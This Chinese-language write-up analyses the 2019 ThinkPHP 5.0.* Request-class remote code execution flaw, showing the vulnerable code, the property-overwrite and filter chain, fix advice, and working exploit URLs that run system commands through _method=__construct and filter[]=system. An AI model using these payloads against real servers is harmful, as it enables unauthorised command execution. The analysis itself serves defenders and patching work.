ThinkPHP request函数远程代码执行
字数 973 2025-08-18 11:37:53
ThinkPHP request函数远程代码执行漏洞分析
漏洞概述
2019年1月11日爆出的ThinkPHP 5.0.*版本中存在一个远程代码执行(RCE)漏洞,该漏洞源于Request类中的方法处理不当,攻击者可以通过精心构造的请求实现任意代码执行。
漏洞分析
漏洞触发点
漏洞核心位于library/think/Request.php文件中的method函数,修复点在该函数中。相关调用出现在isGet、isPost、isPut、isDelete、isHead、isPatch、isOptions等方法中。
关键代码分析
- method函数问题:
// 通过POST传入_method=xxx时
$this->method = strtoupper($this->server('REQUEST_METHOD', 'GET'));
$this->{$this->method}($_POST); // 危险点:调用可控方法
- __construct函数问题:
protected function __construct($options = []) {
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item; // 属性覆盖
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
$this->input = file_get_contents('php://input');
}
- filterValue函数问题:
// 最终执行点
call_user_func($filter, $value); // 可被利用执行任意命令
漏洞利用链
- 通过
_method=__construct覆盖类属性 - 设置
filter[]=system等危险函数 - 通过
server[REQUEST_METHOD]传入要执行的命令 - 触发param函数调用链最终执行命令
漏洞利用
两种利用场景
- Debug模式下的利用:
public/index.php?s=captcha&_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
- 非Debug模式下的利用(需captcha组件):
public/index.php?s=captcha&_method=__construct&method=get&filter[]=system&server[REQUEST_METHOD]=ls -al
验证POC
public/index.php?s=captcha&_method=__construct&method=get&filter[]=var_dump&server[REQUEST_METHOD]=this_is_a_test
漏洞原理总结
- 变量覆盖:通过
_method=__construct覆盖Request类属性 - 过滤器控制:通过
filter[]参数控制最终执行的函数 - 命令注入:通过
server[REQUEST_METHOD]注入要执行的命令 - 路由触发:利用captcha组件的路由注册机制触发漏洞
修复方案
- 升级到ThinkPHP官方修复版本
- 临时修复可修改
Request.php中的method函数,增加方法白名单验证 - 关闭Debug模式(仅能缓解部分利用场景)
- 移除不必要的第三方组件(如captcha)
技术要点
-
漏洞利用需要控制三个关键参数:
_method=__constructfilter[]=要执行的函数server[REQUEST_METHOD]=命令或参数
-
漏洞触发需要满足以下条件之一:
- 开启Debug模式
- 安装了可注册路由的第三方组件(如captcha)
-
漏洞利用链的核心是:
- 通过构造特殊请求控制Request类的属性和方法
- 利用filter机制实现命令执行
- 通过路由机制触发param函数调用链